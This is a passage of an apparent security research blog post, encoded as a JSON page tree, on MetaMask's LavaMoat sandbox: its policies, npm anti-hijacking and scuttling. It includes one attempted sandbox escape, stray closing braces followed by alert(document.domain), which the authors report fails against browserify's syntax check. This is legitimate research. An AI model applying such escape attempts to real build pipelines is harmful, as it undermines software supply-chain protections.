\"@metamask/providers\"",{"type":23,"tag":481,"props":44726,"children":44727},{"style":525},[44728],{"type":28,"value":34540},{"type":23,"tag":481,"props":44730,"children":44731},{"class":483,"line":351},[44732,44736,44740],{"type":23,"tag":481,"props":44733,"children":44734},{"style":1805},[44735],{"type":28,"value":34548},{"type":23,"tag":481,"props":44737,"children":44738},{"style":508},[44739],{"type":28,"value":287},{"type":23,"tag":481,"props":44741,"children":44742},{"style":525},[44743],{"type":28,"value":809},{"type":23,"tag":481,"props":44745,"children":44746},{"class":483,"line":531},[44747,44752,44756,44760],{"type":23,"tag":481,"props":44748,"children":44749},{"style":1805},[44750],{"type":28,"value":44751}," \"Event\"",{"type":23,"tag":481,"props":44753,"children":44754},{"style":508},[44755],{"type":28,"value":287},{"type":23,"tag":481,"props":44757,"children":44758},{"style":497},[44759],{"type":28,"value":9956},{"type":23,"tag":481,"props":44761,"children":44762},{"style":525},[44763],{"type":28,"value":1033},{"type":23,"tag":481,"props":44765,"children":44766},{"class":483,"line":567},[44767,44771,44775,44779],{"type":23,"tag":481,"props":44768,"children":44769},{"style":1805},[44770],{"type":28,"value":34600},{"type":23,"tag":481,"props":44772,"children":44773},{"style":508},[44774],{"type":28,"value":287},{"type":23,"tag":481,"props":44776,"children":44777},{"style":497},[44778],{"type":28,"value":9956},{"type":23,"tag":481,"props":44780,"children":44781},{"style":525},[44782],{"type":28,"value":1033},{"type":23,"tag":481,"props":44784,"children":44785},{"class":483,"line":678},[44786,44791,44795,44799],{"type":23,"tag":481,"props":44787,"children":44788},{"style":1805},[44789],{"type":28,"value":44790}," \"chrome.runtime.connect\"",{"type":23,"tag":481,"props":44792,"children":44793},{"style":508},[44794],{"type":28,"value":287},{"type":23,"tag":481,"props":44796,"children":44797},{"style":497},[44798],{"type":28,"value":9956},{"type":23,"tag":481,"props":44800,"children":44801},{"style":525},[44802],{"type":28,"value":1033},{"type":23,"tag":481,"props":44804,"children":44805},{"class":483,"line":784},[44806,44811,44815,44819],{"type":23,"tag":481,"props":44807,"children":44808},{"style":1805},[44809],{"type":28,"value":44810}," \"console\"",{"type":23,"tag":481,"props":44812,"children":44813},{"style":508},[44814],{"type":28,"value":287},{"type":23,"tag":481,"props":44816,"children":44817},{"style":497},[44818],{"type":28,"value":9956},{"type":23,"tag":481,"props":44820,"children":44821},{"style":525},[44822],{"type":28,"value":1033},{"type":23,"tag":481,"props":44824,"children":44825},{"class":483,"line":812},[44826,44831,44835,44839],{"type":23,"tag":481,"props":44827,"children":44828},{"style":1805},[44829],{"type":28,"value":44830}," \"dispatchEvent\"",{"type":23,"tag":481,"props":44832,"children":44833},{"style":508},[44834],{"type":28,"value":287},{"type":23,"tag":481,"props":44836,"children":44837},{"style":497},[44838],{"type":28,"value":9956},{"type":23,"tag":481,"props":44840,"children":44841},{"style":525},[44842],{"type":28,"value":1033},{"type":23,"tag":481,"props":44844,"children":44845},{"class":483,"line":825},[44846,44851,44855,44859],{"type":23,"tag":481,"props":44847,"children":44848},{"style":1805},[44849],{"type":28,"value":44850}," \"document.createElement\"",{"type":23,"tag":481,"props":44852,"children":44853},{"style":508},[44854],{"type":28,"value":287},{"type":23,"tag":481,"props":44856,"children":44857},{"style":497},[44858],{"type":28,"value":9956},{"type":23,"tag":481,"props":44860,"children":44861},{"style":525},[44862],{"type":28,"value":1033},{"type":23,"tag":481,"props":44864,"children":44865},{"class":483,"line":843},[44866,44871,44875,44879],{"type":23,"tag":481,"props":44867,"children":44868},{"style":1805},[44869],{"type":28,"value":44870}," \"document.readyState\"",{"type":23,"tag":481,"props":44872,"children":44873},{"style":508},[44874],{"type":28,"value":287},{"type":23,"tag":481,"props":44876,"children":44877},{"style":497},[44878],{"type":28,"value":9956},{"type":23,"tag":481,"props":44880,"children":44881},{"style":525},[44882],{"type":28,"value":1033},{"type":23,"tag":481,"props":44884,"children":44885},{"class":483,"line":864},[44886,44891,44895,44900],{"type":23,"tag":481,"props":44887,"children":44888},{"style":1805},[44889],{"type":28,"value":44890}," \"ethereum\"",{"type":23,"tag":481,"props":44892,"children":44893},{"style":508},[44894],{"type":28,"value":287},{"type":23,"tag":481,"props":44896,"children":44897},{"style":1805},[44898],{"type":28,"value":44899}," \"write\"",{"type":23,"tag":481,"props":44901,"children":44902},{"style":525},[44903],{"type":28,"value":1033},{"type":23,"tag":481,"props":44905,"children":44906},{"class":483,"line":873},[44907,44912,44916,44920],{"type":23,"tag":481,"props":44908,"children":44909},{"style":1805},[44910],{"type":28,"value":44911}," \"location.hostname\"",{"type":23,"tag":481,"props":44913,"children":44914},{"style":508},[44915],{"type":28,"value":287},{"type":23,"tag":481,"props":44917,"children":44918},{"style":497},[44919],{"type":28,"value":9956},{"type":23,"tag":481,"props":44921,"children":44922},{"style":525},[44923],{"type":28,"value":1033},{"type":23,"tag":481,"props":44925,"children":44926},{"class":483,"line":1125},[44927,44931,44935,44939],{"type":23,"tag":481,"props":44928,"children":44929},{"style":1805},[44930],{"type":28,"value":34700},{"type":23,"tag":481,"props":44932,"children":44933},{"style":508},[44934],{"type":28,"value":287},{"type":23,"tag":481,"props":44936,"children":44937},{"style":497},[44938],{"type":28,"value":9956},{"type":23,"tag":481,"props":44940,"children":44941},{"style":525},[44942],{"type":28,"value":1033},{"type":23,"tag":481,"props":44944,"children":44945},{"class":483,"line":1142},[44946,44951,44955],{"type":23,"tag":481,"props":44947,"children":44948},{"style":1805},[44949],{"type":28,"value":44950}," \"web3\"",{"type":23,"tag":481,"props":44952,"children":44953},{"style":508},[44954],{"type":28,"value":287},{"type":23,"tag":481,"props":44956,"children":44957},{"style":497},[44958],{"type":28,"value":44073},{"type":23,"tag":481,"props":44960,"children":44961},{"class":483,"line":1159},[44962],{"type":23,"tag":481,"props":44963,"children":44964},{"style":525},[44965],{"type":28,"value":34717},{"type":23,"tag":481,"props":44967,"children":44968},{"class":483,"line":1172},[44969,44973,44977],{"type":23,"tag":481,"props":44970,"children":44971},{"style":1805},[44972],{"type":28,"value":34725},{"type":23,"tag":481,"props":44974,"children":44975},{"style":508},[44976],{"type":28,"value":287},{"type":23,"tag":481,"props":44978,"children":44979},{"style":525},[44980],{"type":28,"value":809},{"type":23,"tag":481,"props":44982,"children":44983},{"class":483,"line":1181},[44984,44989,44993,44997],{"type":23,"tag":481,"props":44985,"children":44986},{"style":1805},[44987],{"type":28,"value":44988}," \"@metamask/object-multiplex\"",{"type":23,"tag":481,"props":44990,"children":44991},{"style":508},[44992],{"type":28,"value":287},{"type":23,"tag":481,"props":44994,"children":44995},{"style":497},[44996],{"type":28,"value":9956},{"type":23,"tag":481,"props":44998,"children":44999},{"style":525},[45000],{"type":28,"value":1033},{"type":23,"tag":481,"props":45002,"children":45003},{"class":483,"line":1204},[45004,45009,45013],{"type":23,"tag":481,"props":45005,"children":45006},{"style":1805},[45007],{"type":28,"value":45008}," \"@metamask/providers>@metamask/safe-event-emitter\"",{"type":23,"tag":481,"props":45010,"children":45011},{"style":508},[45012],{"type":28,"value":287},{"type":23,"tag":481,"props":45014,"children":45015},{"style":497},[45016],{"type":28,"value":44073},{"type":23,"tag":24,"props":45018,"children":45019},{},[45020,45021,45026,45028,45033,45035,45041],{"type":28,"value":14104},{"type":23,"tag":64,"props":45022,"children":45024},{"className":45023},[],[45025],{"type":28,"value":34790},{"type":28,"value":45027}," section in a LavaMoat policy specifies which global variables and properties a module can access, setting permissions for its global scope interactions. Similarly, the ",{"type":23,"tag":64,"props":45029,"children":45031},{"className":45030},[],[45032],{"type":28,"value":34798},{"type":28,"value":45034}," section outlines the module's dependencies and the permissions or trust relationships with those dependencies. This defines how ",{"type":23,"tag":64,"props":45036,"children":45038},{"className":45037},[],[45039],{"type":28,"value":45040},"@metamask/providers",{"type":28,"value":45042}," interacts with other packages.",{"type":23,"tag":24,"props":45044,"children":45045},{},[45046,45048,45054],{"type":28,"value":45047},"To enforce these policies, LavaMoat uses ",{"type":23,"tag":64,"props":45049,"children":45051},{"className":45050},[],[45052],{"type":28,"value":45053},"lavapack",{"type":28,"value":45055},", a custom webpack that wraps ever dependency and applies the specified rules independently.",{"type":23,"tag":16388,"props":45057,"children":45059},{"id":45058},"npm-anti-hijacking",[45060],{"type":28,"value":44676},{"type":23,"tag":24,"props":45062,"children":45063},{},[45064],{"type":28,"value":45065},"One important note is that Lavamoat can't rely solely on the names of the packages as they are published on NPM. Otherwise, a malicious actor could create a package with the same name as a popular, trusted package.",{"type":23,"tag":24,"props":45067,"children":45068},{},[45069,45071,45078],{"type":28,"value":45070},"Instead, Lavamoat looks at how each package is connected by ",{"type":23,"tag":190,"props":45072,"children":45075},{"href":45073,"rel":45074},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/walk.js#L22",[194],[45076],{"type":28,"value":45077},"walking the modules",{"type":28,"value":45079}," in a project's dependency tree, thus generating a unique name for each package.",{"type":23,"tag":16388,"props":45081,"children":45083},{"id":45082},"scuttling",[45084],{"type":28,"value":44681},{"type":23,"tag":24,"props":45086,"children":45087},{},[45088,45090,45096],{"type":28,"value":45089},"Scuttling is an optional feature that adds an extra layer of protection. Even if the real ",{"type":23,"tag":64,"props":45091,"children":45093},{"className":45092},[],[45094],{"type":28,"value":45095},"GlobalThis",{"type":28,"value":45097}," object is leaked by an attacker or accessed through a malicious package manager, scuttling removes sensitive APIs, preventing malicious requests from being executed.",{"type":23,"tag":24,"props":45099,"children":45100},{},[45101,45103,45110],{"type":28,"value":45102},"For example, ",{"type":23,"tag":190,"props":45104,"children":45107},{"href":45105,"rel":45106},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L57",[194],[45108],{"type":28,"value":45109},"here",{"type":28,"value":45111}," we see how Lavamoat checks if the feature is enabled after the root package compartment is created:",{"type":23,"tag":435,"props":45113,"children":45115},{"className":28878,"code":45114,"language":28880,"meta":7,"style":7}," if (scuttleOpts.enabled) {\n if (!Array.isArray(scuttleOpts.exceptions)) {\n throw new Error(`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"${typeof scuttleOpts.exceptions}\"`)\n }\n scuttleOpts.scuttlerFunc(globalRef, realm => performScuttleGlobalThis(realm, scuttleOpts.exceptions))\n }\n",[45116],{"type":23,"tag":64,"props":45117,"children":45118},{"__ignoreMap":7},[45119,45148,45198,45257,45264,45336],{"type":23,"tag":481,"props":45120,"children":45121},{"class":483,"line":484},[45122,45126,45130,45135,45139,45144],{"type":23,"tag":481,"props":45123,"children":45124},{"style":535},[45125],{"type":28,"value":9766},{"type":23,"tag":481,"props":45127,"children":45128},{"style":525},[45129],{"type":28,"value":578},{"type":23,"tag":481,"props":45131,"children":45132},{"style":508},[45133],{"type":28,"value":45134},"scuttleOpts",{"type":23,"tag":481,"props":45136,"children":45137},{"style":525},[45138],{"type":28,"value":199},{"type":23,"tag":481,"props":45140,"children":45141},{"style":508},[45142],{"type":28,"value":45143},"enabled",{"type":23,"tag":481,"props":45145,"children":45146},{"style":525},[45147],{"type":28,"value":12292},{"type":23,"tag":481,"props":45149,"children":45150},{"class":483,"line":351},[45151,45155,45159,45163,45168,45172,45177,45181,45185,45189,45194],{"type":23,"tag":481,"props":45152,"children":45153},{"style":535},[45154],{"type":28,"value":36805},{"type":23,"tag":481,"props":45156,"children":45157},{"style":525},[45158],{"type":28,"value":578},{"type":23,"tag":481,"props":45160,"children":45161},{"style":514},[45162],{"type":28,"value":18119},{"type":23,"tag":481,"props":45164,"children":45165},{"style":508},[45166],{"type":28,"value":45167},"Array",{"type":23,"tag":481,"props":45169,"children":45170},{"style":525},[45171],{"type":28,"value":199},{"type":23,"tag":481,"props":45173,"children":45174},{"style":610},[45175],{"type":28,"value":45176},"isArray",{"type":23,"tag":481,"props":45178,"children":45179},{"style":525},[45180],{"type":28,"value":618},{"type":23,"tag":481,"props":45182,"children":45183},{"style":508},[45184],{"type":28,"value":45134},{"type":23,"tag":481,"props":45186,"children":45187},{"style":525},[45188],{"type":28,"value":199},{"type":23,"tag":481,"props":45190,"children":45191},{"style":508},[45192],{"type":28,"value":45193},"exceptions",{"type":23,"tag":481,"props":45195,"children":45196},{"style":525},[45197],{"type":28,"value":32711},{"type":23,"tag":481,"props":45199,"children":45200},{"class":483,"line":531},[45201,45206,45210,45214,45218,45223,45227,45231,45236,45240,45244,45248,45253],{"type":23,"tag":481,"props":45202,"children":45203},{"style":535},[45204],{"type":28,"value":45205}," throw",{"type":23,"tag":481,"props":45207,"children":45208},{"style":497},[45209],{"type":28,"value":29448},{"type":23,"tag":481,"props":45211,"children":45212},{"style":610},[45213],{"type":28,"value":37802},{"type":23,"tag":481,"props":45215,"children":45216},{"style":525},[45217],{"type":28,"value":618},{"type":23,"tag":481,"props":45219,"children":45220},{"style":1805},[45221],{"type":28,"value":45222},"`LavaMoat - scuttleGlobalThis.exceptions must be an array, got \"",{"type":23,"tag":481,"props":45224,"children":45225},{"style":497},[45226],{"type":28,"value":31625},{"type":23,"tag":481,"props":45228,"children":45229},{"style":497},[45230],{"type":28,"value":28918},{"type":23,"tag":481,"props":45232,"children":45233},{"style":508},[45234],{"type":28,"value":45235}," scuttleOpts",{"type":23,"tag":481,"props":45237,"children":45238},{"style":514},[45239],{"type":28,"value":199},{"type":23,"tag":481,"props":45241,"children":45242},{"style":508},[45243],{"type":28,"value":45193},{"type":23,"tag":481,"props":45245,"children":45246},{"style":497},[45247],{"type":28,"value":31657},{"type":23,"tag":481,"props":45249,"children":45250},{"style":1805},[45251],{"type":28,"value":45252},"\"`",{"type":23,"tag":481,"props":45254,"children":45255},{"style":525},[45256],{"type":28,"value":675},{"type":23,"tag":481,"props":45258,"children":45259},{"class":483,"line":567},[45260],{"type":23,"tag":481,"props":45261,"children":45262},{"style":525},[45263],{"type":28,"value":10151},{"type":23,"tag":481,"props":45265,"children":45266},{"class":483,"line":678},[45267,45272,45276,45281,45285,45290,45294,45299,45303,45308,45312,45316,45320,45324,45328,45332],{"type":23,"tag":481,"props":45268,"children":45269},{"style":508},[45270],{"type":28,"value":45271}," scuttleOpts",{"type":23,"tag":481,"props":45273,"children":45274},{"style":525},[45275],{"type":28,"value":199},{"type":23,"tag":481,"props":45277,"children":45278},{"style":610},[45279],{"type":28,"value":45280},"scuttlerFunc",{"type":23,"tag":481,"props":45282,"children":45283},{"style":525},[45284],{"type":28,"value":618},{"type":23,"tag":481,"props":45286,"children":45287},{"style":508},[45288],{"type":28,"value":45289},"globalRef",{"type":23,"tag":481,"props":45291,"children":45292},{"style":525},[45293],{"type":28,"value":588},{"type":23,"tag":481,"props":45295,"children":45296},{"style":508},[45297],{"type":28,"value":45298},"realm",{"type":23,"tag":481,"props":45300,"children":45301},{"style":497},[45302],{"type":28,"value":25264},{"type":23,"tag":481,"props":45304,"children":45305},{"style":610},[45306],{"type":28,"value":45307}," performScuttleGlobalThis",{"type":23,"tag":481,"props":45309,"children":45310},{"style":525},[45311],{"type":28,"value":618},{"type":23,"tag":481,"props":45313,"children":45314},{"style":508},[45315],{"type":28,"value":45298},{"type":23,"tag":481,"props":45317,"children":45318},{"style":525},[45319],{"type":28,"value":588},{"type":23,"tag":481,"props":45321,"children":45322},{"style":508},[45323],{"type":28,"value":45134},{"type":23,"tag":481,"props":45325,"children":45326},{"style":525},[45327],{"type":28,"value":199},{"type":23,"tag":481,"props":45329,"children":45330},{"style":508},[45331],{"type":28,"value":45193},{"type":23,"tag":481,"props":45333,"children":45334},{"style":525},[45335],{"type":28,"value":17209},{"type":23,"tag":481,"props":45337,"children":45338},{"class":483,"line":784},[45339],{"type":23,"tag":481,"props":45340,"children":45341},{"style":525},[45342],{"type":28,"value":879},{"type":23,"tag":24,"props":45344,"children":45345},{},[45346,45348,45354,45356,45362],{"type":28,"value":45347},"Subsequently, the code defines a ",{"type":23,"tag":190,"props":45349,"children":45352},{"href":45350,"rel":45351},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L74",[194],[45353],{"type":28,"value":28892},{"type":28,"value":45355}," called ",{"type":23,"tag":64,"props":45357,"children":45359},{"className":45358},[],[45360],{"type":28,"value":45361},"generateScuttleOpts",{"type":28,"value":45363}," that creates and returns an options object.",{"type":23,"tag":24,"props":45365,"children":45366},{},[45367,45369,45375,45376,45382,45384,45389,45391,45397],{"type":28,"value":45368},"Finally, the ",{"type":23,"tag":64,"props":45370,"children":45372},{"className":45371},[],[45373],{"type":28,"value":45374},"performScuttleGlobalThis",{"type":28,"value":3935},{"type":23,"tag":190,"props":45377,"children":45380},{"href":45378,"rel":45379},"https://github.com/LavaMoat/LavaMoat/blob/f3e53c8c44f063f000adc620b0aa3f7a41dda5c6/packages/core/src/scuttle.js#L125",[194],[45381],{"type":28,"value":28892},{"type":28,"value":45383}," modifies the properties of the global object (",{"type":23,"tag":64,"props":45385,"children":45387},{"className":45386},[],[45388],{"type":28,"value":45289},{"type":28,"value":45390},"). It starts by creating an array ",{"type":23,"tag":64,"props":45392,"children":45394},{"className":45393},[],[45395],{"type":28,"value":45396},"props",{"type":28,"value":45398},", containing the names of all properties in the prototype chain of globalRef. Then, an empty object is then created to serve as a proxy for scuttled properties. The function then iterates over each property, making changes to the global window object based on the provided configuration.",{"type":23,"tag":31,"props":45400,"children":45402},{"id":45401},"hacking-webpacks",[45403],{"type":28,"value":45404},"Hacking Webpacks",{"type":23,"tag":24,"props":45406,"children":45407},{},[45408],{"type":28,"value":45409},"Now let's get to the fun stuff.",{"type":23,"tag":24,"props":45411,"children":45412},{},[45413],{"type":28,"value":45414},"Webpack is used to bundle all modules and packages into a single file. It inserts all the code of these modules into the bundle file. Checking Lavapack source code, we can see how this actually happens.",{"type":23,"tag":435,"props":45416,"children":45418},{"className":28878,"code":45417,"language":28880,"meta":7,"style":7}," const filename = encodeURI(String(moduleData.file))\n let moduleWrapperSource\n if (bundleWithPrecompiledModules) {\n moduleWrapperSource = `function(){\n with (this.scopeTerminator) {\n with (this.globalThis) {\n return function() {\n 'use strict';\n // source: ${filename}\n return function (require, module, exports) {\n __MODULE_CONTENT__\n };\n };\n }\n }\n }`\n",[45419],{"type":23,"tag":64,"props":45420,"children":45421},{"__ignoreMap":7},[45422,45474,45486,45506,45523,45531,45539,45547,45555,45576,45584,45592,45600,45607,45614,45621],{"type":23,"tag":481,"props":45423,"children":45424},{"class":483,"line":484},[45425,45429,45434,45438,45443,45447,45452,45456,45461,45465,45470],{"type":23,"tag":481,"props":45426,"children":45427},{"style":497},[45428],{"type":28,"value":33706},{"type":23,"tag":481,"props":45430,"children":45431},{"style":508},[45432],{"type":28,"value":45433}," filename",{"type":23,"tag":481,"props":45435,"children":45436},{"style":514},[45437],{"type":28,"value":517},{"type":23,"tag":481,"props":45439,"children":45440},{"style":610},[45441],{"type":28,"value":45442}," encodeURI",{"type":23,"tag":481,"props":45444,"children":45445},{"style":525},[45446],{"type":28,"value":618},{"type":23,"tag":481,"props":45448,"children":45449},{"style":610},[45450],{"type":28,"value":45451},"String",{"type":23,"tag":481,"props":45453,"children":45454},{"style":525},[45455],{"type":28,"value":618},{"type":23,"tag":481,"props":45457,"children":45458},{"style":508},[45459],{"type":28,"value":45460},"moduleData",{"type":23,"tag":481,"props":45462,"children":45463},{"style":525},[45464],{"type":28,"value":199},{"type":23,"tag":481,"props":45466,"children":45467},{"style":508},[45468],{"type":28,"value":45469},"file",{"type":23,"tag":481,"props":45471,"children":45472},{"style":525},[45473],{"type":28,"value":17209},{"type":23,"tag":481,"props":45475,"children":45476},{"class":483,"line":351},[45477,45481],{"type":23,"tag":481,"props":45478,"children":45479},{"style":497},[45480],{"type":28,"value":5334},{"type":23,"tag":481,"props":45482,"children":45483},{"style":508},[45484],{"type":28,"value":45485}," moduleWrapperSource\n",{"type":23,"tag":481,"props":45487,"children":45488},{"class":483,"line":531},[45489,45493,45497,45502],{"type":23,"tag":481,"props":45490,"children":45491},{"style":535},[45492],{"type":28,"value":28909},{"type":23,"tag":481,"props":45494,"children":45495},{"style":525},[45496],{"type":28,"value":578},{"type":23,"tag":481,"props":45498,"children":45499},{"style":508},[45500],{"type":28,"value":45501},"bundleWithPrecompiledModules",{"type":23,"tag":481,"props":45503,"children":45504},{"style":525},[45505],{"type":28,"value":12292},{"type":23,"tag":481,"props":45507,"children":45508},{"class":483,"line":567},[45509,45514,45518],{"type":23,"tag":481,"props":45510,"children":45511},{"style":508},[45512],{"type":28,"value":45513}," moduleWrapperSource",{"type":23,"tag":481,"props":45515,"children":45516},{"style":514},[45517],{"type":28,"value":517},{"type":23,"tag":481,"props":45519,"children":45520},{"style":1805},[45521],{"type":28,"value":45522}," `function(){\n",{"type":23,"tag":481,"props":45524,"children":45525},{"class":483,"line":678},[45526],{"type":23,"tag":481,"props":45527,"children":45528},{"style":1805},[45529],{"type":28,"value":45530}," with (this.scopeTerminator) {\n",{"type":23,"tag":481,"props":45532,"children":45533},{"class":483,"line":784},[45534],{"type":23,"tag":481,"props":45535,"children":45536},{"style":1805},[45537],{"type":28,"value":45538}," with (this.globalThis) {\n",{"type":23,"tag":481,"props":45540,"children":45541},{"class":483,"line":812},[45542],{"type":23,"tag":481,"props":45543,"children":45544},{"style":1805},[45545],{"type":28,"value":45546}," return function() {\n",{"type":23,"tag":481,"props":45548,"children":45549},{"class":483,"line":825},[45550],{"type":23,"tag":481,"props":45551,"children":45552},{"style":1805},[45553],{"type":28,"value":45554}," 'use strict';\n",{"type":23,"tag":481,"props":45556,"children":45557},{"class":483,"line":843},[45558,45563,45567,45572],{"type":23,"tag":481,"props":45559,"children":45560},{"style":1805},[45561],{"type":28,"value":45562}," // source: ",{"type":23,"tag":481,"props":45564,"children":45565},{"style":497},[45566],{"type":28,"value":31625},{"type":23,"tag":481,"props":45568,"children":45569},{"style":508},[45570],{"type":28,"value":45571},"filename",{"type":23,"tag":481,"props":45573,"children":45574},{"style":497},[45575],{"type":28,"value":1443},{"type":23,"tag":481,"props":45577,"children":45578},{"class":483,"line":864},[45579],{"type":23,"tag":481,"props":45580,"children":45581},{"style":1805},[45582],{"type":28,"value":45583}," return function (require, module, exports) {\n",{"type":23,"tag":481,"props":45585,"children":45586},{"class":483,"line":873},[45587],{"type":23,"tag":481,"props":45588,"children":45589},{"style":1805},[45590],{"type":28,"value":45591}," __MODULE_CONTENT__\n",{"type":23,"tag":481,"props":45593,"children":45594},{"class":483,"line":1125},[45595],{"type":23,"tag":481,"props":45596,"children":45597},{"style":1805},[45598],{"type":28,"value":45599}," };\n",{"type":23,"tag":481,"props":45601,"children":45602},{"class":483,"line":1142},[45603],{"type":23,"tag":481,"props":45604,"children":45605},{"style":1805},[45606],{"type":28,"value":6182},{"type":23,"tag":481,"props":45608,"children":45609},{"class":483,"line":1159},[45610],{"type":23,"tag":481,"props":45611,"children":45612},{"style":1805},[45613],{"type":28,"value":870},{"type":23,"tag":481,"props":45615,"children":45616},{"class":483,"line":1172},[45617],{"type":23,"tag":481,"props":45618,"children":45619},{"style":1805},[45620],{"type":28,"value":10151},{"type":23,"tag":481,"props":45622,"children":45623},{"class":483,"line":1181},[45624],{"type":23,"tag":481,"props":45625,"children":45626},{"style":1805},[45627],{"type":28,"value":45628}," }`\n",{"type":23,"tag":24,"props":45630,"children":45631},{},[45632,45634,45640,45642,45648],{"type":28,"value":45633},"Lavapack uses ",{"type":23,"tag":64,"props":45635,"children":45637},{"className":45636},[],[45638],{"type":28,"value":45639},"with()",{"type":28,"value":45641}," proxies to restrict the objects accessible by the module, and ",{"type":23,"tag":64,"props":45643,"children":45645},{"className":45644},[],[45646],{"type":28,"value":45647},"__MODULE_CONTENT__",{"type":28,"value":45649}," is replaced by the content of a file required by the project being built.",{"type":23,"tag":7092,"props":45651,"children":45653},{"id":45652},"injection-not-so-simple",[45654],{"type":28,"value":45655},"Injection? Not So Simple",{"type":23,"tag":24,"props":45657,"children":45658},{},[45659,45661,45666],{"type":28,"value":45660},"We first tried to inject invalid javascript inside a javascript file, and then attempt to escape the ",{"type":23,"tag":64,"props":45662,"children":45664},{"className":45663},[],[45665],{"type":28,"value":10138},{"type":28,"value":45667}," environment:",{"type":23,"tag":435,"props":45669,"children":45671},{"className":28878,"code":45670,"language":28880,"meta":7,"style":7}," } // end function 1\n } // end function 2\n } // end with 1\n} // end with 2\n\nalert(document.domain)\n",[45672],{"type":23,"tag":64,"props":45673,"children":45674},{"__ignoreMap":7},[45675,45688,45700,45712,45724,45731],{"type":23,"tag":481,"props":45676,"children":45677},{"class":483,"line":484},[45678,45683],{"type":23,"tag":481,"props":45679,"children":45680},{"style":525},[45681],{"type":28,"value":45682}," } ",{"type":23,"tag":481,"props":45684,"children":45685},{"style":488},[45686],{"type":28,"value":45687},"// end function 1\n",{"type":23,"tag":481,"props":45689,"children":45690},{"class":483,"line":351},[45691,45695],{"type":23,"tag":481,"props":45692,"children":45693},{"style":525},[45694],{"type":28,"value":28983},{"type":23,"tag":481,"props":45696,"children":45697},{"style":488},[45698],{"type":28,"value":45699},"// end function 2\n",{"type":23,"tag":481,"props":45701,"children":45702},{"class":483,"line":531},[45703,45707],{"type":23,"tag":481,"props":45704,"children":45705},{"style":525},[45706],{"type":28,"value":33720},{"type":23,"tag":481,"props":45708,"children":45709},{"style":488},[45710],{"type":28,"value":45711},"// end with 1\n",{"type":23,"tag":481,"props":45713,"children":45714},{"class":483,"line":567},[45715,45719],{"type":23,"tag":481,"props":45716,"children":45717},{"style":525},[45718],{"type":28,"value":44398},{"type":23,"tag":481,"props":45720,"children":45721},{"style":488},[45722],{"type":28,"value":45723},"// end with 2\n",{"type":23,"tag":481,"props":45725,"children":45726},{"class":483,"line":678},[45727],{"type":23,"tag":481,"props":45728,"children":45729},{"emptyLinePlaceholder":15},[45730],{"type":28,"value":1210},{"type":23,"tag":481,"props":45732,"children":45733},{"class":483,"line":784},[45734,45738,45742,45746,45750,45754],{"type":23,"tag":481,"props":45735,"children":45736},{"style":610},[45737],{"type":28,"value":30213},{"type":23,"tag":481,"props":45739,"children":45740},{"style":525},[45741],{"type":28,"value":618},{"type":23,"tag":481,"props":45743,"children":45744},{"style":508},[45745],{"type":28,"value":30223},{"type":23,"tag":481,"props":45747,"children":45748},{"style":525},[45749],{"type":28,"value":199},{"type":23,"tag":481,"props":45751,"children":45752},{"style":508},[45753],{"type":28,"value":30233},{"type":23,"tag":481,"props":45755,"children":45756},{"style":525},[45757],{"type":28,"value":675},{"type":23,"tag":24,"props":45759,"children":45760},{},[45761,45763,45769,45771,45778],{"type":28,"value":45762},"However, when we tried to bundle it, a ",{"type":23,"tag":64,"props":45764,"children":45766},{"className":45765},[],[45767],{"type":28,"value":45768},"ParseError",{"type":28,"value":45770}," was thrown. This is because Lavapack is a plugin of ",{"type":23,"tag":190,"props":45772,"children":45775},{"href":45773,"rel":45774},"https://github.com/browserify/browserify",[194],[45776],{"type":28,"value":45777},"browserify",{"type":28,"value":45779},", which has a syntax check before replacing the code.",{"type":23,"tag":24,"props":45781,"children":45782},{},[45783,45785,45791,45793,45799,45801,45807,45809,45814],{"type":28,"value":45784},"Looking deeper into browserify, we find it has a ",{"type":23,"tag":64,"props":45786,"children":45788},{"className":45787},[],[45789],{"type":28,"value":45790},"syntax",{"type":28,"value":45792}," stage on it's pipeline, and uses the ",{"type":23,"tag":64,"props":45794,"children":45796},{"className":45795},[],[45797],{"type":28,"value":45798},"syntax-error",{"type":28,"value":45800}," npm package to validate the syntax of each javascript file content. Since Lavapack replaces the ",{"type":23,"tag":64,"props":45802,"children":45804},{"className":45803},[],[45805],{"type":28,"value":45806},"pack",{"type":28,"value":45808}," stage on browserify pipeline, which comes after the ",{"type":23,"tag":64,"props":45810,"children":45812},{"className":45811},[],[45813],{"type":28,"value":45790},{"type":28,"value":45815},", it was not possible to inject invalid javascript to escape the Lavamoat sandbox.",{"type":23,"tag":24,"props":45817,"children":45818},{},[45819],{"type":23,"tag":149,"props":45820,"children":45823},{"alt":45821,"src":45822},"Pipeline","/posts/supply-chain-attacks-a-new-era/pipeline.png",[],{"type":23,"tag":24,"props":45825,"children":45826},{},[45827,45828,45833,45835,45840],{"type":28,"value":14104},{"type":23,"tag":64,"props":45829,"children":45831},{"className":45830},[],[45832],{"type":28,"value":45798},{"type":28,"value":45834}," package performs a syntax check by using ",{"type":23,"tag":64,"props":45836,"children":45838},{"className":45837},[],[45839],{"type":28,"value":35066},{"type":28,"value":45841}," with function hoisting:",{"type":23,"tag":435,"props":45843,"children":45845},{"className":28878,"code":45844,"language":28880,"meta":7,"style":7},"try {\n eval('throw \"STOP\"; (function () { ' + src + '\\n})()');\n return;\n}\ncatch (err) {\n if (err === 'STOP') return undefined;\n if (err.constructor.name !== 'SyntaxError') return err;\n return errorInfo(src, file, opts);\n}\n",[45846],{"type":23,"tag":64,"props":45847,"children":45848},{"__ignoreMap":7},[45849,45861,45911,45922,45929,45950,45991,46051,46092],{"type":23,"tag":481,"props":45850,"children":45851},{"class":483,"line":484},[45852,45857],{"type":23,"tag":481,"props":45853,"children":45854},{"style":535},[45855],{"type":28,"value":45856},"try",{"type":23,"tag":481,"props":45858,"children":45859},{"style":525},[45860],{"type":28,"value":809},{"type":23,"tag":481,"props":45862,"children":45863},{"class":483,"line":351},[45864,45869,45873,45878,45882,45887,45891,45896,45902,45907],{"type":23,"tag":481,"props":45865,"children":45866},{"style":610},[45867],{"type":28,"value":45868}," eval",{"type":23,"tag":481,"props":45870,"children":45871},{"style":525},[45872],{"type":28,"value":618},{"type":23,"tag":481,"props":45874,"children":45875},{"style":1805},[45876],{"type":28,"value":45877},"'throw \"STOP\"; (function () { 